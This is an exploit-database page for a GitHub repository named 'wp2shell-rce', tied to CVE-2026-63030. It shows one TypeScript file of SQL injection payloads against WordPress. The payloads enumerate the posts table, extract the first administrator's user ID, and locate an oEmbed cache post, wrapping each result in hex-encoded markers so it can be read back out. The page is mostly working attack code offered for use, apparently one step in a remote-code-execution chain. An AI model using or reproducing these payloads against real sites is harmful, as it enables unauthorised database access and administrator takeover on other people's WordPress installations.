Exploit databaseDownload repository ZIP
GH-a8fe5dadaf59969a0724a9d69efb95d4
johnlodan/wp2shell-rce
Sources for CVE-2026-63030
50 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
johnlodan/wp2shell-rceRevision dbf6db4071b3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/sql/sql.ts
TypeScript · 2,258 bytesimport { OEMBED_CACHE_HEX } from "../utils/constants.ts";
import { getOEmbedCacheNameHex, stringToHex } from "../utils/helper.ts";
const IDENTIFIER = stringToHex("***");
const sql = {
getTableNamePosts: `
CONCAT(
${IDENTIFIER},
HEX(
CAST(
(
SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = DATABASE()
AND RIGHT(TABLE_NAME, 6) = ${stringToHex("_posts")}
ORDER BY CHAR_LENGTH(TABLE_NAME), TABLE_NAME
LIMIT 1
) AS CHAR
)
),
${IDENTIFIER}
)
`.replace(/\s+/g, " ").trim(),
getAdministratorId: (tableNamePrefix: string) => {
return `
CONCAT(
${IDENTIFIER},
HEX(
CAST(
(
SELECT u.ID
FROM ${tableNamePrefix}_users u
JOIN ${tableNamePrefix}_usermeta m
ON m.user_id = u.ID
WHERE m.meta_key = '${tableNamePrefix}_capabilities'
AND INSTR(
m.meta_value,
's:13:"administrator";b:1;'
) > 0
ORDER BY u.ID
LIMIT 1
) AS CHAR
)
),
${IDENTIFIER}
)
`.replace(/\s+/g, " ").trim()
},
getOEmbedCachePostId: (host: string, tableNamePrefix: string) => {
return `
CONCAT(
${IDENTIFIER},
HEX(
CAST(
(
SELECT ID
FROM ${tableNamePrefix}_posts
WHERE post_type = ${OEMBED_CACHE_HEX}
AND post_name = 0x${getOEmbedCacheNameHex(host)}
ORDER BY ID DESC
LIMIT 1
) AS CHAR
)
),
${IDENTIFIER}
)
`.replace(/\s+/g, " ").trim()
}
};
export default sql;